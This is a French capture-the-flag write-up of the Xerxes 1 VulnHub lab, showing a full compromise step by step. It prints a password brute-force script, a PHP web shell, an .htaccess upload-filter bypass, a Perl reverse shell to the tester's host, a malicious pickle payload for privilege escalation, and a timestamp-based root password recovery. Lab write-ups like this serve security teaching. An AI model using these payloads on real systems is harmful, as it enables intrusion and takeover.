Intro
Après le CTF Relativity, on garde le rythme et on enchaîne avec le Xerxes 1, un autre CTF téléchargeable sur VulnHub.
Cette fois pas de conversion à faire de VM Player vers VirtualBox puisque l’on a directement un fichier .ova.
L’objectif est similaire à Relativity : obtenir le drapeau qui est /root/flag
(cette fois sans extension).
Lancez VirtualBox et choisissez “Importer une application virtuelle” depuis le menu “Fichier” puis sélectionnez le fichier xerxes.ova.
Décochez ensuite les options superflues (accès DVD, son) et cliquez sur “Importer”.
Pour terminer modifiez les paramètres réseau de la VM pour passer le mode d’accès à “Accès par pont”. Ça y est la VM est prête à être malmenée.
Je ne traiterais pas de l’obtention de son adresse IP déjà expliqué dans le précédent article.
Let’s go !
On démarre le système qui est une Debian 7 avec un kernel 3.2.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ nmap -A -T4 192.168.1.39
Starting Nmap 6.40 ( http://nmap.org ) at 2014-03-05 18:48 CET
Nmap scan report for 192.168.1.39
Host is up (0.00023s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4 (protocol 2.0)
| ssh-hostkey: 1024 78:63:e9:43:33:d3:80:0e:b2:83:15:26:fc:41:ea:17 (DSA)
| 2048 48:69:ae:38:d5:a1:05:e2:f5:22:45:49:35:b0:ca:5c (RSA)
|_256 14:3c:81:fb:32:dd:70:70:05:63:1a:d2:8e:ef:32:64 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
| http-robots.txt: 2 disallowed entries
|_/ /dev
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:39:1A:61 (Cadmus Computer Systems)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.23 ms 192.168.1.39
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.65 seconds
Juste deux ports ouverts : un SSH et un Apache 2.2. Au passage Nmap a lu le fichier robots.txt
du site qui révèle la présence d’une url /dev
.
La page d’index n’affiche rien de plus que la page par défaut d’installation (It works!) alors on passe tout de suite sur /dev
.
Il s’agit d’un ensemble de pages centrées autour d’un script d’upload. Ce dernier est protégé par mot de passe.
On s’apperçoit vite que l’on obtient un message particulier si le fichier dépasse une certaine taille (Error: file too large) alors que si le fichier fait une taille correcte on tombe sur le message “Error: you have supplied an invalid password”.
Je n’entre pas dans les détails mais via un script python utilisant le module requests j’ai pu déterminer que le script d’upload n’accepte pas les fichiers au delà de 2000 octets.
Pour ce qui est du champ mot de passe, il ne semble pas sensible aux injections SQL :(
La page “forgot password” ne nous aide pas vraiment : pas de mécanisme pour réellement récupérer le mot de passe, seulement une image de QR code que l’on enregistre et que l’on soumet à ZXing un décodeur en ligne.
Le code QR correspond à la chaine de caractère bG9vayBkZWVwZXI=
. On remarque le caractère égal en terminaison ce qui est caractéristique d’un encodage base64. Une fois le base64 décodé on se retrouve avec le message “look deeper” pas franchement encourageant.
Pour fouiller plus profondemment, j’ai fouillé : utilisation de stegdetect
, recherche de fichiers de backup, analyse des entêtes HTTP en jouant avec les entêtes ETag retournés, essai d’écraser des variables globales PHP qui aurait permis de passer une quelconque validation, etc. Rien n’a aboutit.
J’ai cru trouver la solution via la page about.php
sur laquelle on peut lire “This upload page is under construction and has been password-protected to prevent tampering” alors que about.php
n’est protégé en aucune façon : j’ai pensé que comme le site est indiqué comme étant en développement l’auteur aurait pu copier la page d’upload puis modifier son contenu pour en faire la page about.php
en ayant retiré la protection par mot de passe (oui je suis allé chercher loin)… Mais ce n’était pas le cas (dommage, j’étais content de mon idée).
Du coup je suis passé à la méthode Rambo : la force brute ! J’ai écrit le script Python que voici qui teste les mots de passe issus d’un dictionnaire. Dans ce script on envoie un fichier “test” d’un seul octet.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
fd = open("dico.txt")
i = 0
while True:
line = fd.readline()
if line == '':
break
word = line.strip()
if i == 1000:
print "Testing", word
i = 0
i = i + 1
r = requests.post("http://192.168.1.39/dev/upload.php",
data={'password':word},
files={'upload_file':('test','a')})
if "you have supplied an invalid password" in r.content:
continue
else:
print "Cas particulier avec", word
print r.content
break
fd.close()
Il faut alors récupérer une bonne quantité de wordlists et prendre son temps en patiente avant de tomber sur le bon mot de passe. Finalement on obtient le sésame : 45100
.
On écrit le fichier bd.php
que voici :
1
<?php system($_GET["cmd"]); ?>
puis on l’uploade… Sauf qu’on obtient le message “Error: illegal file detected.”. Idem avec .php3
, .php5
, .phtml
, etc. Visiblement le script a une liste d’extensions blacklistées pour nous embêter. Et si on essayait de réécrire les directives d’Apache en uploadant un fichier .htaccess
qui associerait une extension originale au langage PHP ?
1
2
3
4
5
import requests
r = requests.post("http://192.168.1.39/dev/upload.php",
data={'password':'45100'},
files={'upload_file':('.htaccess','AddType application/x-httpd-php .yo')})
print r.content
Badaboum ! Nice guy take that ! Ça passe :D
On change l’extension de notre backdoor en .yo
et l’upload passe nickel.
Maintenant, ce serait bien d’avoir un shell, même s’il est basique. Alors on upload la backdoor Perl connect-back de Data Cha0s puis on la lance de cette manière :
1
perl dc.pl 192.168.1.3 9999
Au préalable sur notre machine (192.168.1.3) on aura mis un port en écoute avec ncat
(ou netcat
pour les vieux :D)
Dans les processus, on remarque qu’un Exim tourne. Les abonnés à Full-Disclosure se rappellent peut être qu’un exploit avait été écrit par KingCope mais après avoir testé l’exploit, il semble que l’on ne soit pas dans la bonne direction.
On ne trouve rien d’intéressant dans la crontab
ou dans les ports en écoute.
Dans le /home
on trouve 3 utilisateurs :
1
2
3
4
5
$ ls -l /home
total 12
drwxr-xr-x 3 amanpour amanpour 4096 Dec 19 01:15 amanpour
drwxr-x--- 3 curtiz curtiz 4096 Dec 20 06:18 curtiz
drwxr-x--- 3 delacroix delacroix 4096 Dec 24 01:34 delacroix
Avec nos droits courants, seul le dossier amanpour
peut nous intéresser. Voici le contenu de son dossier :
1
2
3
4
5
6
7
8
9
-rwxr--r-- 1 amanpour amanpour 270 Dec 19 01:28 .bash_history
-rw-r--r-- 1 amanpour amanpour 220 Dec 17 23:31 .bash_logout
-rw-r--r-- 1 amanpour amanpour 3433 Dec 19 01:27 .bashrc
-rw-r--r-- 1 amanpour amanpour 675 Dec 17 23:31 .profile
drwx------ 2 amanpour amanpour 4096 Dec 19 01:15 .ssh
-rw-r--r-- 1 amanpour amanpour 1240 Dec 18 02:53 lostpassword.png
-rw-r--r-- 1 amanpour amanpour 1220 Dec 18 02:57 newpassword
-rw-r--r-- 1 amanpour amanpour 1071 Dec 17 07:05 qr
-rw-r--r-- 1 amanpour amanpour 1235 Dec 18 02:51 steqr.py
Et le contenu de son historique :
1
2
3
4
5
6
7
8
9
file qr
python steqr.py -f qr -s hehehehe
python steqr.py -f qr-enc.png
python steqr.py -f qr -s "KysrKysrWz4rKysrKysrKzwtXT4rKysrLisuLS0tLS4tLi4="
mv qr-enc.png lostpassword.png
python steqr.py -f lostpassword.png | base64 -d
python steqr.py -f newpassword
passwd
exit
Le fichier qr
est une image PNG et le fichier steqr.py
est le script qui génère le QR code.
À quoi correspond la chaine base64 une fois décodée ?
1
++++++[>++++++++<-]>++++.+.----.-..
Les amateurs de langages de programmation ésotériques auront tout de suite reconnu le BrainFuck. On l’entre sur un interpréteur en ligne, mais il s’agit en fait du mot de passe 45100
bref rien d’intéressant.
Utilisons steqr.py
pour savoir ce que le fichier newpassword
recèle (je ne mets pas la source, car elle prendrait trop de place, mais on utilise -s
pour encoder et -f
pour décoder) :
1
2
$ python steqr.py -f newpassword
b56d9d8b6077fb56127d1c8ff84ece11
On entre le hash MD5 sur MD5RDB et on obtient 45100
… Boring !
À tout hazard on essaye de se connecter à SSH en passant le hash comme mot de passe pour amanpour
: on est rentré :)
Alpinisme Unix
Maintenant qu’on a notre shell SSH voyons si on peut réaliser une escalade de privilèges. Ce cher amanpour
fait partie d’un groupe baptisé notes
.
1
2
3
4
amanpour@xerxes:~$ id
uid=1001(amanpour) gid=1001(amanpour) groups=1001(amanpour),1003(notes)
amanpour@xerxes:~$ grep notes /etc/group
notes:x:1003:amanpour,curtiz
C’est visiblement notre point d’entrée car curtiz
en fait aussi partie. Avec une petite recherche de fichiers :
1
find / -group notes 2> /dev/null
On trouve deux fichiers appartenant à curtiz
dont l’un est setuid :
1
2
-rwsr-s--x 1 curtiz notes 5111 Dec 18 05:59 /opt/notes
-rwxr-x--- 1 curtiz notes 1343 Dec 19 00:47 /opt/notes.py
L’exécutable notes
est très petit et d’après ce qu’on peut voir avec un strings
il ne fait qu’appeler Python sur notes.py
. Cette fois les path apparaissent en entier.
Le script notes.py
est une espèce de gestionnaire de TODO-list qui exploite le module de sérialisation Pickle. Par défaut il tente de charger et sauver les notes dans le home de curtiz
.
Bien sûr il faut passer par le binaire setuid car sinon on n’accèdera pas aux notes existantes.
Un peu au hasard, on a déjà trouvé une indication qui peut nous servir pour plus tard.
Au passage l’utilisateur n’a pas de clés SSH. L’utilisation des commandes add
puis save
pour tenter de créer un fichier authorized_keys
ne porte pas ses fruits.
Heureusement je me suis rappelé que Pickle n’est pas considéré comme de confiance en termes de sérialisation. On trouve un article très bien sur le sujet qui nous explique comment on peut formater un fichier qui sera compatible Pickle mais provoquera une interprétation de code Python :)
Le format est plutôt simple et on n’a pas besoin de spécifier quelque part la taille des chaînes (ce qui est le cas pour le bencodage utilisé par BitTorrent par exemple).
On voit que l’on dispose de l’uid effectif de curtiz
mais pas de son uid réel :’( Il faut donc qu’on tape juste à la première commande. On va créer une clé SSH depuis le compte amanpour
et l’autoriser pour curtiz
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
bash-4.2$ id
uid=1001(amanpour) gid=1001(amanpour) groups=1001(amanpour),1003(notes)
bash-4.2$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/amanpour/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/amanpour/.ssh/id_rsa.
Your public key has been saved in /home/amanpour/.ssh/id_rsa.pub.
The key fingerprint is:
bb:a2:f9:bc:0c:01:17:26:2d:56:13:8b:67:cb:a7:86 amanpour@xerxes
The key's randomart image is:
+--[ RSA 2048]----+
| .o*. |
| o+.+ |
| .o.= |
| * . |
| + . S |
| . + . |
| E + . |
| . =. . |
| oo=o. |
+-----------------+
bash-4.2$ cp /home/amanpour/.ssh/id_rsa.pub /tmp/authorized_keys
bash-4.2$ echo -e "cos\nsystem\n(S'cp /tmp/authorized_keys /home/curtiz/.ssh'\ntR." > key_trap
bash-4.2$ /opt/notes
-------------------------------
Welcome to Juan's to-do list!
type help for more info
-------------------------------
load ../../tmp/key_trap
exit
bash-4.2$ ssh curtiz@localhost
Enter passphrase for key '/home/amanpour/.ssh/id_rsa':
Linux xerxes 3.2.0-4-486 #1 Debian 3.2.51-1 i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Dec 20 06:17:11 2013 from 192.168.56.1
curtiz@xerxes:~$ id
uid=1002(curtiz) gid=1002(curtiz) groups=1002(curtiz),1003(notes)
Bingo ! On a grimpé d’un cran dans notre exploration :)
La Liberté guidant le peuple
Dans le home de curtiz
on retrouve immédiatement un fichier id_rsa
qui correspond de toute évidence à la clé privée de Marie
comme indiqué précédemment dans les notes que l’on a trouvé.
Qui est Marie
? Un petit grep pour nous renseigner :
1
2
a.curtiz@xerxes:~$ grep -i marie /etc/passwd
delacroix:x:1000:1000:Marie Delacroix,,,:/home/delacroix:/bin/delacroix
Cette utilisatrice dispose d’un shell particulier : /bin/delacroix
Si on lance le binaire on a une demande de mot de passe. C’est le niveau de sécurité supérieure dont il était mention.
Le binaire est lisible pour tous. ltrace
n’est pas installé (ce qui aurait pu faciliter l’analyse) mais de toute façon quand on lance un strings
dessus on obtient :
1
2
3
4
%02x
3d054afb77714ca938d8bca104fcb141
/bin/bash
Password:
On retourne sur MD5RDB et on rentre le hash : le password complémentaire est VonBraun
. On se connecte au compte delacroix
en utilisant la clé :
1
2
3
4
5
6
7
curtiz@xerxes:~$ ssh -i id_rsa delacroix@localhost
Linux xerxes 3.2.0-4-486 #1 Debian 3.2.51-1 i686
Last login: Tue Dec 24 01:36:34 2013 from 192.168.56.1
Password: VonBraun
XERXES checking security...
delacroix@xerxes:/home/delacroix$ id
uid=1000(delacroix) gid=1000(delacroix) groups=1000(delacroix)
Raw Power
Dans le home de l’utilisatrice, deux scripts shell : check.sh
et generate.sh
.
Son historique :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
whoami
id
sudo su
exit
./generate.sh
passwd
sudo su
exit
ssh-keygen -t rsa
cd .ssh
ls -alh
cat id_rsa.pub > authorized_keys
ls -alh
chmod 700 authorized_keys
ls -alh
exit
Quel est donc ce generate.sh
lancé juste avant un sudo su
?
1
2
3
4
5
#!/bin/sh
touch .last && p=$(date | awk '{print $4}' | md5sum | awk '{print $1}')
echo "XERXES has generated a new password: $p"
echo " XERXES is forever"
echo " at your service"
Comme on s’y attendait, c’est un programme pour générer un mot de passe. Là ou le bas blesse, c’est que ce dernier est basé sur la date au moment d’exécution, date gardée par le fichier .last
qui est mis à jour à chaque appel.
La séquence date | awk '{print $4}'
récupère l’heure en cours, par exemple 18:05:26
.
Si on lance un stat
sur .last
on obtient :
1
2
3
4
5
6
7
8
File: `.last'
Size: 0 Blocks: 0 IO Block: 4096 regular empty file
Device: 801h/2049d Inode: 45529 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 1000/delacroix) Gid: ( 1000/delacroix)
Access: 2013-12-19 00:19:51.024911360 -0800
Modify: 2013-12-19 00:19:51.024911360 -0800
Change: 2013-12-19 00:19:51.024911360 -0800
Birth: -
Par conséquent le mot de passe du root doit être
1
2
delacroix@xerxes:/home/delacroix$ echo 00:19:51 | md5sum | awk '{print $1}'
6cf49e97c915079e27c09d41da9d95e4
On se connecte via sudo su
comme elle le faisait puis on copie le flag dans le dossier d’upload du début pour pouvoir y accéder :
1
2
3
4
5
6
7
8
9
10
delacroix@xerxes:/home/delacroix$ sudo su
[sudo] password for delacroix:
root@xerxes:/home/delacroix# id
uid=0(root) gid=0(root) groups=0(root)
root@xerxes:/home/delacroix# file /root/flag
/root/flag: PNG image data, 250 x 269, 8-bit/color RGB, non-interlaced
root@xerxes:/home/delacroix# cp /root/flag /var/www/
dev/ index.html robots.txt
root@xerxes:/home/delacroix# cp /root/flag /var/www/dev/upload/
root@xerxes:/home/delacroix# chmod o+r /var/www/dev/upload/flag
Groovy !
Published March 07 2014 at 06:54